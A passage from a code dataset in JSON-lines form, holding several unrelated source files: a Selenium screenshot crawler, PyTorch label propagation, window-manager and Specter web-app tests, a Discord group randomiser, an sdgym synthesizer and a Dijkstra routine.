判断网站是否可访问\n        1. 超时->不可访问\n        2. 含有`error-code`->不可访问\n        :param url:\n        :param count:\n        :return:\n        \"\"\"\n        LOG.debug(\"[Worker]Worker: {} REQUESTING the url: {}, life: {}/{}.\".format(self.tid, url, count, RETRIES))\n        try:\n            url = pad_url(url)\n            self.driver.get(url)\n            try:\n                # 1. 含有error-code\n                self.driver.find_element_by_xpath('//*[@class=\"error-cod1e\"]')\n                return False\n            except NoSuchElementException:\n                pass\n            # 可能有Alert弹窗\n            # TODO 其他弹窗\n            try:\n                self.driver.switch_to.alert.accept()\n            except NoAlertPresentException:\n                pass\n            return True\n        except TimeoutException:\n            # 2. 超时\n            return False\n\n    def run(self) -> None:\n        import sys\n        try:\n            self._init()\n            while True:\n                LOG.debug(\"[TM-Worker]Worker: {} GETTING web info\".format(self.tid))\n                url = self.timeout_queue.get()\n                LOG.debug(\"[TM-Worker]Worker: {} Length of queue: {}\".format(self.tid, self.timeout_queue.qsize()))\n                LOG.debug(\"[TM-Worker]Worker: {} URL: {}\".format(self.tid, url))\n\n                if self._is_reachable(url, 0):\n                    time.sleep(RENDER_TIME)\n                self._execute_js(\"window.stop()\")\n                save_path = 'pics/{}/{}.png'.format(RQ, url.split('/')[0])\n                self.driver.get_screenshot_as_file(save_path)\n                self.timeout_queue.task_done()\n        except Exception as e:\n            LOG.debug(\"[TM-Worker]Worker: {} is dead, error info: {}\".format(self.tid, repr(e)))\n            self._exit_code = 1\n            self._exception = e\n            self._exc_traceback = ''.join(traceback.format_exception(*sys.exc_info()))\n            LOG.debug(\"[TM-Worker]Worker: {} Traceback: {}.\".format(self.tid, self._exc_traceback))\n            self.failed_queue.put((url, repr(e), self._exc_traceback))\n            self.timeout_queue.task_done()\n            self.driver.quit()\n\n\nclass Daemon(Thread):\n    def __init__(self, path, workers_info, url_num, queue_1, queue_2, queue_3):\n        Thread.__init__(self)\n        self.workers_info = workers_info\n        self.url_num = url_num\n        self.url_queue = queue_1\n        self.failed_queue = queue_2\n        self.timeout_queue = queue_3\n        # 较为详细的出错信息，包括URL、error、trackback\n        self.output_file = open(\"pics/{}/failed_url.csv\".format(RQ), \"w\")\n        # 简单的出错信息，仅包括URL\n        self.output_file_1 = open(path + \"_failed.csv\", \"w\")\n\n    def run(self):\n        while True:\n            time.sleep(5)\n            LOG.info(\"=\" * 60)\n            LOG.info(\"[Daemon]URL_QUEUE: {} , unfinished task: {}/{}\".format(self.url_queue.qsize(),\n                                                                            self.url_queue.unfinished_tasks,\n                                                                            self.url_num))\n            LOG.info(\"[Daemon]FAILED_QUEUE: {}, unfinished task: {}\".format(self.failed_queue.qsize(),\n                                                                            self.failed_queue.unfinished_tasks))\n            LOG.info(\"[Daemon]TIMEOUT_QUEUE: {}, unfinished task: {}\".format(self.timeout_queue.qsize(),\n                                                                             self.timeout_queue.unfinished_tasks))\n            LOG.info(\"-\" * 60)\n\n            for w, tid, _type in self.workers_info:\n                if _type == \"ThreadCrawl\":\n                    LOG.info(\n                        \"[Daemon]Worker: {} Status: {}, Strategy: {}\".format(tid, 'Alive' if w.is_alive() else 'Dead',\n                                                                             w.page_load_strategy))\n                else:\n                    LOG.info(\n                        \"[Daemon]TM-Worker: {} Status: {}, Strategy: {}\".format(tid,\n                                                                                'Alive' if w.is_alive() else 'Dead',\n                                                                                w.page_load_strategy))\n\n            for w, tid, _type in self.workers_info:\n                if not w.is_alive():\n                    LOG.debug(\"[Daemon] {}-Worker: {} is dead, spawn a new thread instead.\".format(_type, tid))\n                    self.workers_info.remove((w, tid, _type))\n                    if _type == \"ThreadCrawl\":\n                        w = ThreadCrawl(self.url_queue, self.failed_queue, self.timeout_queue, tid)\n                    else:\n                        w = TimeoutCrawl(self.url_queue, self.failed_queue, self.timeout_queue, tid)\n                    w.daemon = True\n                    w.start()\n                    self.workers_info.append((w, tid, _type))\n            LOG.info(\"=\" * 60)\n            try:\n                url, error, track = self.failed_queue.get(block=False)  # 阻塞队列\n                self.output_file.write(\"\\t\".join([url, error, track]) + \"\\n\")\n                self.output_file.flush()\n                self.output_file_1.write(url + \"\\n\")\n                self.output_file_1.flush()\n                self.failed_queue.task_done()\n            except Empty:\n                pass\n\n\nif __name__ == '__main__':\n    parser = ArgumentParser()\n    parser.add_argument(\"-p\", \"--path\", action=\"store\", dest=\"path\", required=True, type=str,\n                        help=\"Data path.\")\n    parser.add_argument(\"-n\", \"--thread_num\", action=\"store\", dest=\"thread_num\", default=5, type=int,\n                        help=\"Number of validator threads.\")\n    parser.add_argument(\"-r\", \"--retries\", action=\"store\", dest=\"retries\", default=3, type=int,\n                        help=\"Number of retry times.\")\n    parser.add_argument(\"-tm\", \"--timeout\", action=\"store\", dest=\"timeout\", default=80, type=int,\n                        help=\"Timeout.\")\n    parser.add_argument(\"-rt\", \"--render_time\", action=\"store\", dest=\"render_time\", default=80, type=int,\n                        help=\"Render time.\")\n    parser.add_argument(\"-d\", \"--debug\", action=\"store_true\", dest=\"debug\", help=\"Debug mode.\")\n    parser.add_argument(\"-s\", \"--test\", action=\"store_true\", dest=\"test\", help=\"Using test data.\")\n    parser.add_argument(\"-l\", \"--headless\", action=\"store_true\", dest=\"headless\", help=\"Cast headless mode.\")\n\n    args = parser.parse_args()\n    path = args.path\n    THREADS_NUM = args.thread_num\n    RETRIES = args.retries\n    TIMEOUT = args.timeout\n    RENDER_TIME = args.render_time\n    is_debug = args.debug\n    is_test = args.test\n    is_headless = args.headless\n    RUN_PATH = sys.path[0]\n\n    LOG, RQ = Logger('CrawlerLog', is_debug).getlog()\n\n    sch = Scheduler(path)\n    try:\n        sch.scheduling()\n    except KeyboardInterrupt:\n        LOG.info(\"Quit.\")\n    finally:\n        LOG.info('Done.')\n        for w, _, _ in sch.d.workers_info:\n            w.exit()  # TODO 非阻塞退出\n        ex_cmd('TASKKILL /IM chromedriver.exe /F', None, True)\n","sub_path":"3/crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":16831,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"539662489","text":"\nimport torch\nimport torch.nn.functional as F\nimport numpy as np\n\n\nclass EmbeddingPropagation(torch.nn.Module):\n    def __init__(self, alpha=0.5, rbf_scale=1, norm_prop=False):\n        super().__init__()\n        self.alpha = alpha\n        self.rbf_scale = rbf_scale\n        self.norm_prop = norm_prop\n\n    def forward(self, x, propagator=None):\n        return embedding_propagation(x, self.alpha, self.rbf_scale, self.norm_prop, propagator=propagator)\n\n\nclass LabelPropagation(torch.nn.Module):\n    def __init__(self, alpha=0.2, rbf_scale=1, norm_prop=True, apply_log=True, balanced=False):\n        super().__init__()\n        self.alpha = alpha\n        self.rbf_scale = rbf_scale\n        self.norm_prop = norm_prop\n        self.apply_log = apply_log\n        self.balanced = balanced\n\n    def forward(self, x, labels, nclasses, propagator=None):\n        \"\"\"Applies label propagation given a set of embeddings and labels\n\n        Arguments:\n            x {Tensor} -- Input embeddings\n            labels {Tensor} -- Input labels from 0 to nclasses + 1. The highest value corresponds to unlabeled samples.\n            nclasses {int} -- Total number of classes\n\n        Keyword Arguments:\n            propagator {Tensor} -- A pre-computed propagator (default: {None})\n\n        Returns:\n            tuple(Tensor, Tensor) -- Logits and Propagator\n        \"\"\"\n        return label_propagation(x, labels, nclasses, self.alpha, self.rbf_scale,\n                                 self.norm_prop, self.apply_log, propagator=propagator,\n                                 balanced=self.balanced)\n\n\ndef get_similarity_matrix(x, rbf_scale):\n    b, c = x.size()\n    sq_dist = ((x.view(b, 1, c) - x.view(1, b, c))**2).sum(-1) / np.sqrt(c)\n    mask = sq_dist != 0\n    sq_dist = sq_dist / sq_dist[mask].std()\n    weights = torch.exp(-sq_dist * rbf_scale)\n    mask = torch.eye(weights.size(1), dtype=torch.bool, device=weights.device)\n    weights = weights * (~mask).float()\n    return weights\n\n\ndef embedding_propagation(x, alpha, rbf_scale, norm_prop, propagator=None):\n    if propagator is None:\n        weights = get_similarity_matrix(x, rbf_scale)\n        propagator = global_consistency(\n            weights, alpha=alpha, norm_prop=norm_prop)\n    return torch.mm(propagator, x)\n\n\ndef label_propagation(x, labels, nclasses, alpha, rbf_scale, norm_prop, apply_log, propagator=None, balanced=False, epsilon=1e-6):\n    labels = F.one_hot(labels, nclasses + 1)\n    labels = labels[:, :nclasses].float()  # the max label is unlabeled\n    if balanced:\n        labels = labels / labels.sum(0, keepdim=True)\n    if propagator is None:\n        weights = get_similarity_matrix(x, rbf_scale)\n        propagator = global_consistency(\n            weights, alpha=alpha, norm_prop=norm_prop)\n    y_pred = torch.mm(propagator, labels)\n    if apply_log:\n        y_pred = torch.log(y_pred + epsilon)\n\n    return y_pred\n\n\ndef global_consistency(weights, alpha=1, norm_prop=False):\n    \"\"\"Implements D. Zhou et al. \"Learning with local and global consistency\". (Same as in TPN paper but without bug)\n\n    Args:\n        weights: Tensor of shape (n, n). Expected to be exp( -d^2/s^2 ), where d is the euclidean distance and\n            s the scale parameter.\n        labels: Tensor of shape (n, n_classes)\n        alpha: Scaler, acts as a smoothing factor\n    Returns:\n        Tensor of shape (n, n_classes) representing the logits of each classes\n    \"\"\"\n    n = weights.shape[1]\n    identity = torch.eye(n, dtype=weights.dtype, device=weights.device)\n    isqrt_diag = 1. / torch.sqrt(1e-4 + torch.sum(weights, dim=-1))\n    # checknan(laplacian=isqrt_diag)\n    S = weights * isqrt_diag[None, :] * isqrt_diag[:, None]\n    # checknan(normalizedlaplacian=S)\n    propagator = identity - alpha * S\n    propagator = torch.inverse(propagator[None, ...])[0]\n    # checknan(propagator=propagator)\n    if norm_prop:\n        propagator = F.normalize(propagator, p=1, dim=-1)\n    return propagator\n","sub_path":"embedding_propagation/embedding_propagation.py","file_name":"embedding_propagation.py","file_ext":"py","file_size_in_byte":3946,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"475471951","text":"import conftest\nimport os\nimport pytest\nfrom Xlib import X\n\n\ndef test_net_wm_desktop_after_load(hlwm, x11):\n    hlwm.call('add anothertag')\n    win, _ = x11.create_client()\n    hlwm.call('true')\n    assert x11.get_property('_NET_WM_DESKTOP', win)[0] == 0\n    layout = hlwm.call('dump').stdout\n\n    hlwm.call(['load', 'anothertag', layout])\n\n    assert x11.get_property('_NET_WM_DESKTOP', win)[0] == 1\n\n\ndef test_net_wm_desktop_after_bring(hlwm, x11):\n    hlwm.call('add anothertag')\n    win, winid = x11.create_client()\n    hlwm.call('true')\n    assert x11.get_property('_NET_WM_DESKTOP', win)[0] == 0\n\n    hlwm.call(['use', 'anothertag'])\n    hlwm.call(['bring', winid])\n\n    assert x11.get_property('_NET_WM_DESKTOP', win)[0] == 1\n\n\n@pytest.mark.parametrize('utf8names,desktop_names', [\n    (False, ['default']),\n    (False, ['foo']),\n    (True, ['föö', 'bär']),\n    (True, ['a', 'long', 'list', 'of', 'tag', 'names']),\n    (True, ['an', 'empty', '', '', 'tagname']),\n])\ndef test_read_desktop_names(hlwm_spawner, x11, utf8names, desktop_names):\n    x11.set_property_textlist('_NET_DESKTOP_NAMES', desktop_names, utf8=utf8names)\n    x11.display.sync()\n\n    hlwm_proc = hlwm_spawner()\n    hlwm = conftest.HlwmBridge(os.environ['DISPLAY'], hlwm_proc)\n\n    desktop_names = [dn for dn in desktop_names if len(dn) > 0]\n\n    assert hlwm.list_children('tags.by-name') == sorted(desktop_names)\n    for idx, name in enumerate(desktop_names):\n        assert hlwm.get_attr(f'tags.{idx}.name') == name\n\n    hlwm_proc.shutdown()\n\n\ndef test_tags_restored_after_wmexec(hlwm, hlwm_process):\n    tags = ['a', 'long', 'list', 'of', 'tag', 'names']\n    expected_tags = ['default'] + tags\n\n    for tag in tags:\n        hlwm.call(['add', tag])\n\n    # We need at least one client, otherwise xvfb messes with the test\n    hlwm.create_client()\n\n    # Restart hlwm:\n    hlwm.call(['wmexec', hlwm_process.bin_path, '--verbose'])\n    hlwm_process.read_and_echo_output(until_stdout='hlwm started')\n\n    assert hlwm.list_children('tags.by-name') == sorted(expected_tags)\n    for idx, name in enumerate(expected_tags):\n        assert hlwm.get_attr(f'tags.{idx}.name') == name\n\n\n@pytest.mark.parametrize('desktops,client2desktop', [\n    (2, [0, 1]),\n    (2, [None, 1]),  # client without index set\n    (2, [2, 1, 8, 0]),  # clients exceeding the index range\n    (5, [1, 1, 0, 4, 4, 4]),\n])\ndef test_client_initially_on_desktop(hlwm_spawner, x11, desktops, client2desktop):\n    desktop_names = ['tag{}'.format(i) for i in range(0, desktops)]\n    x11.set_property_textlist('_NET_DESKTOP_NAMES', desktop_names)\n    clients = []\n    for desktop_idx in client2desktop:\n        winHandle, winid = x11.create_client(sync_hlwm=False)\n        clients.append(winid)\n        if desktop_idx is not None:\n            x11.set_property_cardinal('_NET_WM_DESKTOP', [desktop_idx], window=winHandle)\n    x11.display.sync()\n\n    hlwm_proc = hlwm_spawner()\n    hlwm = conftest.HlwmBridge(os.environ['DISPLAY'], hlwm_proc)\n\n    for client_idx, desktop_idx in enumerate(client2desktop):\n        winid = clients[client_idx]\n        if desktop_idx is not None and desktop_idx in range(0, desktops):\n            assert hlwm.get_attr(f'clients.{winid}.tag') \\\n                == desktop_names[desktop_idx]\n        else:\n            assert hlwm.get_attr(f'clients.{winid}.tag') \\\n                == desktop_names[0]\n\n    hlwm_proc.shutdown()\n\n\ndef test_manage_transient_for_windows_on_startup(hlwm_spawner, x11):\n    master_win, master_id = x11.create_client(sync_hlwm=False)\n    dialog_win, dialog_id = x11.create_client(sync_hlwm=False)\n    dialog_win.set_wm_transient_for(master_win)\n    x11.display.sync()\n\n    hlwm_proc = hlwm_spawner()\n    hlwm = conftest.HlwmBridge(os.environ['DISPLAY'], hlwm_proc)\n\n    assert hlwm.list_children('clients') \\\n        == sorted([master_id, dialog_id, 'focus'])\n    hlwm_proc.shutdown()\n\n\n@pytest.mark.parametrize('swap_monitors_to_get_tag', [True, False])\n@pytest.mark.parametrize('on_another_monitor', [True, False])\n@pytest.mark.parametrize('tag_idx', [0, 1])\ndef test_ewmh_set_current_desktop(hlwm, x11, swap_monitors_to_get_tag, on_another_monitor, tag_idx):\n    hlwm.call(['set', 'swap_monitors_to_get_tag', hlwm.bool(swap_monitors_to_get_tag)])\n    hlwm.call('add otherTag')\n    hlwm.call('add anotherTag')\n\n    if on_another_monitor:\n        hlwm.call('add_monitor 800x600+800+0 otherTag')\n\n    x11.ewmh.setCurrentDesktop(tag_idx)\n    x11.display.sync()\n\n    assert int(hlwm.get_attr('tags.focus.index')) == tag_idx\n    if swap_monitors_to_get_tag or not on_another_monitor or tag_idx == 0:\n        assert int(hlwm.get_attr('monitors.focus.index')) == 0\n    else:\n        assert int(hlwm.get_attr('monitors.focus.index')) == 1\n\n\ndef test_ewmh_set_current_desktop_invalid_idx(hlwm, hlwm_process, x11):\n    with hlwm_process.wait_stderr_match('_NET_CURRENT_DESKTOP: invalid index'):\n        x11.ewmh.setCurrentDesktop(4)\n        x11.display.sync()\n    assert int(hlwm.get_attr('tags.focus.index')) == 0\n\n\ndef test_wm_state_type(hlwm, x11):\n    win, _ = x11.create_client(sync_hlwm=True)\n    wm_state = x11.display.intern_atom('WM_STATE')\n    prop = win.get_full_property(wm_state, X.AnyPropertyType)\n    assert prop.property_type == wm_state\n    assert len(prop.value) == 2\n\n\ndef test_ewmh_focus_client(hlwm, x11):\n    hlwm.call('set focus_stealing_prevention off')\n    # add another client that has the focus\n    _, winid_focus = x11.create_client()\n    winHandleToBeFocused, winid = x11.create_client()\n    assert hlwm.get_attr('clients.focus.winid') == winid_focus\n\n    x11.ewmh.setActiveWindow(winHandleToBeFocused)\n    x11.display.flush()\n\n    assert hlwm.get_attr('clients.focus.winid') == winid\n\n\n@pytest.mark.parametrize('on_another_monitor', [True, False])\ndef test_ewmh_focus_client_on_other_tag(hlwm, x11, on_another_monitor):\n    hlwm.call('set focus_stealing_prevention off')\n    hlwm.call('add tag2')\n    if on_another_monitor:  # if the tag shall be on another monitor\n        hlwm.call('add_monitor 800x600+600+0')\n    hlwm.call('rule tag=tag2 focus=off')\n    # add another client that has the focus on the other tag\n    x11.create_client()\n    handle, winid = x11.create_client()\n    assert 'focus' not in hlwm.list_children('clients')\n\n    x11.ewmh.setActiveWindow(handle)\n    x11.display.flush()\n\n    assert hlwm.get_attr('tags.focus.name') == 'tag2'\n    assert hlwm.get_attr('clients.focus.winid') == winid\n\n\ndef test_ewmh_move_client_to_tag(hlwm, x11):\n    hlwm.call('set focus_stealing_prevention off')\n    hlwm.call('add otherTag')\n    winHandleToMove, winid = x11.create_client()\n    assert hlwm.get_attr(f'clients.{winid}.tag') == 'default'\n\n    x11.ewmh.setWmDesktop(winHandleToMove, 1)\n    x11.display.sync()\n\n    assert hlwm.get_attr(f'clients.{winid}.tag') == 'otherTag'\n\n\ndef test_ewmh_make_client_urgent(hlwm, hc_idle, x11):\n    hlwm.call('set focus_stealing_prevention off')\n    hlwm.call('add otherTag')\n    hlwm.call('rule tag=otherTag')\n    # create a new client that is not focused\n    winHandle, winid = x11.create_client()\n    assert hlwm.get_attr(f'clients.{winid}.urgent') == 'false'\n    assert 'focus' not in hlwm.list_children('clients')\n    # assert that this window really does not have wm hints set:\n    assert winHandle.get_wm_hints() is None\n    hc_idle.hooks()  # reset hooks\n\n    demandsAttent = '_NET_WM_STATE_DEMANDS_ATTENTION'\n    x11.ewmh.setWmState(winHandle, 1, demandsAttent)\n    x11.display.flush()\n\n    assert hlwm.get_attr(f'clients.{winid}.urgent') == 'true'\n    assert ['tag_flags'] in hc_idle.hooks()\n\n\n@pytest.mark.parametrize('focused', [True, False])\ndef test_ewmh_focused_client_never_urgent(hlwm, hc_idle, x11, focused):\n    hlwm.call('set focus_stealing_prevention off')\n    if not focused:\n        # if the client shall not be focused, simply place it on\n        # another tag\n        hlwm.call('add otherTag')\n        hlwm.call('rule tag=otherTag')\n    winHandle, winid = x11.create_client()\n    assert hlwm.get_attr(f'clients.{winid}.urgent') == 'false'\n    hc_idle.hooks()  # reset hooks\n\n    # mark the client urgent\n    demandsAttent = '_NET_WM_STATE_DEMANDS_ATTENTION'\n    x11.ewmh.setWmState(winHandle, 1, demandsAttent)\n    x11.display.flush()\n\n    assert hlwm.get_attr(f'clients.{winid}.urgent') == hlwm.bool(not focused)\n    assert (['urgent', 'on', winid] in hc_idle.hooks()) == (not focused)\n\n\ndef test_ewmh_make_client_urgent_no_focus_stealing(hlwm, hc_idle, x11):\n    hlwm.call('set focus_stealing_prevention on')\n    hlwm.call('add otherTag')\n    hlwm.call('rule tag=otherTag')\n\n    # create a new client that is not focused\n    winHandle, winid = x11.create_client()\n\n    x11.ewmh.setActiveWindow(winHandle)\n    x11.display.flush()\n\n    assert hlwm.get_attr(f'clients.{winid}.urgent') == 'true'\n    demandsAttent = '_NET_WM_STATE_DEMANDS_ATTENTION'\n    assert demandsAttent in x11.ewmh.getWmState(winHandle, str=True)\n    assert 'focus' not in hlwm.list_children('clients')\n    assert 'default' == hlwm.get_attr('tags.focus.name')\n","sub_path":"tests/test_ewmh.py","file_name":"test_ewmh.py","file_ext":"py","file_size_in_byte":9008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"653296914","text":"\nimport discord\nimport random\nimport time\nfrom discord.ext import commands\n\nclass Randmplus:\n\n    def __init__(self, bot):\n        self.bot = bot\n\n    @commands.command()\n    async def randmplus(self, *, number : int):\n        tanks = [\"Rinack\", \"Tixi\"]\n        heals = [\"Poogo\", \"TL\", \"Vyck\"]\n        deeps = [\"Vertex\", \"Velar\", \"Bebs\", \"Mex\", \"Serbus\", \"Kuda\"]\n        for x in range(0, number):\n          state = random.getstate()\n          random.seed(time.time())\n          \n          tank = tanks[random.randint(0, len(tanks) - 1)]\n          tanks.remove(tank)\n          \n          heal = heals[random.randint(0, len(heals) - 1)]\n          heals.remove(heal)\n          \n          deep = deeps[random.randint(0, len(deeps) - 1)]\n          deeps.remove(deep)\n          alldeeps = deep\n\n          deep = deeps[random.randint(0, len(deeps) - 1)]\n          deeps.remove(deep)\n          alldeeps = alldeeps + \" \" + deep\n\n          deep = deeps[random.randint(0, len(deeps) - 1)]\n          deeps.remove(deep)\n          alldeeps = alldeeps + \" \" + deep\n\n          await self.bot.say(\"Group \" + str(x + 1) + \": \" + tank + \" \" + heal + \" \" + alldeeps)\n          random.setstate(state)\n\ndef setup(bot):\n  bot.add_cog(Randmplus(bot))\n","sub_path":"randmplus/randmplus.py","file_name":"randmplus.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"415284280","text":"from typing import List\n\n\nclass Solution:\n    def minSubsequence(self, nums: List[int]) -> List[int]:\n        nums.sort(reverse=True)\n        cnt = 0\n        s = sum(nums)\n        for i in range(len(nums)):\n            cnt += nums[i]\n            if cnt > s - cnt:\n                return nums[:i+1]\n        return nums\n","sub_path":"zs/183/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"135306235","text":"import logging\nimport pytest\nimport sys\nfrom flask import Blueprint\nfrom cryptoadvance.specter.server import create_app, init_app\nfrom cryptoadvance.specter.specter import Specter\nfrom cryptoadvance.specter.config import TestConfig\nfrom conftest import specter_app_with_config\n\n\n@pytest.mark.slow\ndef test_home(caplog, client):\n    \"\"\"The root of the app\"\"\"\n    caplog.set_level(logging.INFO)\n    caplog.set_level(logging.DEBUG, logger=\"cryptoadvance.specter\")\n    login(client, \"secret\")\n    result = client.get(\"/\")\n    # By default there is no authentication\n    assert result.status_code == 302  # REDIRECT.\n    result = client.get(\"/welcome/about\")\n    assert b\"Welcome to Specter\" in result.data\n    result = client.get(\"/devices/new_device_type\", follow_redirects=True)\n    assert result.status_code == 200  # OK.\n    assert b\"Add Device\" in result.data\n    result = client.get(\"/settings\", follow_redirects=True)\n    assert result.status_code == 200  # OK.\n    assert b\"Settings\" in result.data\n    result = client.get(\"/wallets/new_wallet\", follow_redirects=True)\n    assert result.status_code == 200  # OK.\n    assert b\"Select the type of the wallet\" in result.data\n    logout(client)\n\n    # Login logout testing\n    result = client.get(\"/auth/login\", follow_redirects=False)\n    assert result.status_code == 200\n    assert b\"Password\" in result.data\n    result = login(client, \"secret\")\n    assert b\"Logged in successfully.\" in result.data\n    result = logout(client)\n    assert b\"You were logged out\" in result.data\n    result = login(client, \"non_valid_password\")\n    assert b\"Invalid username or password\" in result.data\n    result = login(client, \"blub\")\n    assert b\"Invalid username or password\" in result.data\n\n\n@pytest.mark.slow\ndef test_settings_general(caplog, client):\n    login(client, \"secret\")\n    result = client.get(\"/settings/general\", follow_redirects=True)\n    assert result.status_code == 200  # OK.\n    assert b\"Network:\" in result.data\n    assert b\"regtest\" in result.data\n\n\n@pytest.mark.slow\ndef test_settings_general_restore_wallet(bitcoin_regtest, caplog, client):\n    login(client, \"secret\")\n    restore_wallets = open(\n        \"./tests/controller_testdata/restore_wallets.json\", \"r\"\n    ).read()\n    restore_devices = open(\n        \"./tests/controller_testdata/restore_devices.json\", \"r\"\n    ).read()\n    result = client.get(\"/settings/general\", follow_redirects=True)\n    assert b\"Load Specter backup:\" in result.data\n    csrf_token = (\n        str(result.data)\n        .split('<input type=\"hidden\" class=\"csrf-token\" name=\"csrf_token\" value=\"')[1]\n        .split('\"')[0]\n    )\n    result = client.post(\n        \"/settings/general\",\n        data=dict(\n            action=\"restore\",\n            autohide_sensitive_info_timeout=\"NEVER\",\n            autologout_timeout=\"NEVER\",\n            explorer=\"CUSTOM\",\n            custom_explorer=\"\",\n            unit=\"btc\",\n            fee_estimator=\"mempool\",\n            fee_estimator_custom_url=\"\",\n            loglevel=\"debug\",\n            restoredevices=restore_devices,\n            restorewallets=restore_wallets,\n            proxy_url=\"\",\n            only_tor=\"off\",\n            tor_control_port=\"\",\n            csrf_token=csrf_token,\n        ),\n    )\n    assert b\"Specter data was successfully loaded from backup\" in result.data\n    assert b\"SimpleMyNiceDevice\" in result.data\n    # assert b'btc Hot Wallet' in result.data # Not sure why this doesn't work\n    assert b\"myNiceDevice\" in result.data\n    assert b\"btchot\" in result.data\n\n\ndef test_APP_URL_PREFIX(caplog):\n    caplog.set_level(logging.INFO)\n    caplog.set_level(logging.DEBUG, logger=\"cryptoadvance.specter\")\n    myapp = specter_app_with_config(\n        config={\"APP_URL_PREFIX\": \"/someprefix\", \"SPECTER_URL_PREFIX\": \"\"}\n    )\n    client = myapp.test_client()\n    login(client, \"secret\")\n\n    # Specter\n    result = client.get(\"/\")\n    assert result.status_code == 404  # / --> 404\n    result = client.get(\"/someprefix/\")\n    assert result.status_code == 302  # REDIRECT.\n    result = client.get(\"/someprefix/welcome\")\n    assert result.status_code == 308  # REDIRECT.\n    result = client.get(\"/someprefix/welcome/\")\n    assert result.status_code == 302  # REDIRECT.\n    result = client.get(\"/someprefix/welcome/about\")\n    assert b\"Welcome to Specter\" in result.data\n\n    # Extensions\n    result = client.get(\"/someprefix/spc/ext/swan/\")\n    # The swan extension will automatically redirect to /settings/auth\n    assert result.status_code == 302\n    assert result.location.endswith(\"/someprefix/settings/auth\")\n\n\ndef test_SPECTER_URL_PREFIX(caplog):\n    caplog.set_level(logging.INFO)\n    caplog.set_level(logging.DEBUG, logger=\"cryptoadvance.specter\")\n    myapp = specter_app_with_config(\n        config={\n            \"APP_URL_PREFIX\": \"\",\n            \"SPECTER_URL_PREFIX\": \"/someprefix\",\n            \"EXT_URL_PREFIX\": \"/someprefix/extensions\",\n        }\n    )\n    client = myapp.test_client()\n    login(client, \"secret\")\n    result = client.get(\"/\")\n    # The effect is almost the same but you get one more convenient redirect\n    assert result.status_code == 302  # REDIRECT.\n    result = client.get(\"/someprefix/\")\n    assert result.status_code == 302  # REDIRECT.\n    result = client.get(\"/someprefix/welcome\")\n    assert result.status_code == 308  # REDIRECT.\n    result = client.get(\"/someprefix/welcome/\")\n    assert result.status_code == 302  # REDIRECT.\n    result = client.get(\"/someprefix/welcome/about\")\n    assert b\"Welcome to Specter\" in result.data\n\n    # Extensions\n    result = client.get(\"/someprefix/extensions/swan/\")\n    # The swan extension will automatically redirect to /settings/auth\n    assert result.status_code == 302\n    assert result.location.endswith(\"/someprefix/settings/auth\")\n\n\ndef login(client, password):\n    \"\"\"login helper-function\"\"\"\n    result = client.post(\n        \"auth/login\", data=dict(password=password), follow_redirects=True\n    )\n    assert (\n        b\"We could not check your password, maybe Bitcoin Core is not running or not configured?\"\n        not in result.data\n    )\n    return result\n\n\ndef logout(client):\n    \"\"\"logout helper-method\"\"\"\n    return client.get(\"auth/logout\", follow_redirects=True)\n","sub_path":"tests/test_ep_controller.py","file_name":"test_ep_controller.py","file_ext":"py","file_size_in_byte":6205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"268472261","text":"import numpy as np\nfrom sklearn.mixture import GaussianMixture\n\nfrom sdgym.constants import CONTINUOUS\nfrom sdgym.synthesizers.base import BaseSynthesizer\nfrom sdgym.synthesizers.utils import Transformer\n\n\nclass IndependentSynthesizer(BaseSynthesizer):\n    \"\"\"docstring for IdentitySynthesizer.\"\"\"\n\n    def __init__(self, gmm_n=5):\n        self.gmm_n = gmm_n\n\n    def fit(self, data, categorical_columns=tuple(), ordinal_columns=tuple()):\n        self.dtype = data.dtype\n        self.meta = Transformer.get_metadata(data, categorical_columns, ordinal_columns)\n\n        self.models = []\n        for id_, info in enumerate(self.meta):\n            if info['type'] == CONTINUOUS:\n                model = GaussianMixture(self.gmm_n)\n                model.fit(data[:, [id_]])\n                self.models.append(model)\n            else:\n                nomial = np.bincount(data[:, id_].astype('int'), minlength=info['size'])\n                nomial = nomial / np.sum(nomial)\n                self.models.append(nomial)\n\n    def sample(self, samples):\n        data = np.zeros([samples, len(self.meta)], self.dtype)\n\n        for i, info in enumerate(self.meta):\n            if info['type'] == CONTINUOUS:\n                x, _ = self.models[i].sample(samples)\n                np.random.shuffle(x)\n                data[:, i] = x.reshape([samples])\n                data[:, i] = data[:, i].clip(info['min'], info['max'])\n            else:\n                size = len(self.models[i])\n                data[:, i] = np.random.choice(np.arange(size), samples, p=self.models[i])\n\n        return data\n","sub_path":"sdgym/synthesizers/independent.py","file_name":"independent.py","file_ext":"py","file_size_in_byte":1579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"69570007","text":"import heapq\nfrom collections import deque\nfrom enum import Enum\nimport sys\nimport math\nfrom _heapq import heappush, heappop\n\nBIG_NUM = 2000000000\nMOD = 1000000007\nEPS = 0.000000001\n\n\nclass Edge:\n    def __init__(self,arg_to,arg_cost):\n        self.to = arg_to\n        self.cost = arg_cost\n\n\nclass Info:\n    def __init__(self,arg_node_id,arg_sum_cost):\n        self.node_id = arg_node_id\n        self.sum_cost = arg_sum_cost\n\n    def __lt__(self,arg):\n        return self.sum_cost < arg.sum_cost\n\n\nV = int(input())\nG = [[] for _ in range(V)]\n\nfor _ in range(V):\n    node_id,num_edges,*tmp_array = list(map(int,input().split()))\n    for i in range(0,2*num_edges,2):\n        G[node_id].append(Edge(tmp_array[i],tmp_array[i+1]))\n\n\nmin_dist = [BIG_NUM]*V\nmin_dist[0] = 0\n\nQ = []\nheappush(Q,Info(0,0))\n\nwhile len(Q) > 0:\n    info = heappop(Q)\n    if info.sum_cost > min_dist[info.node_id]:\n        continue\n    for edge in G[info.node_id]:\n        if min_dist[edge.to] > info.sum_cost+edge.cost:\n            min_dist[edge.to] = info.sum_cost+edge.cost\n            heappush(Q, 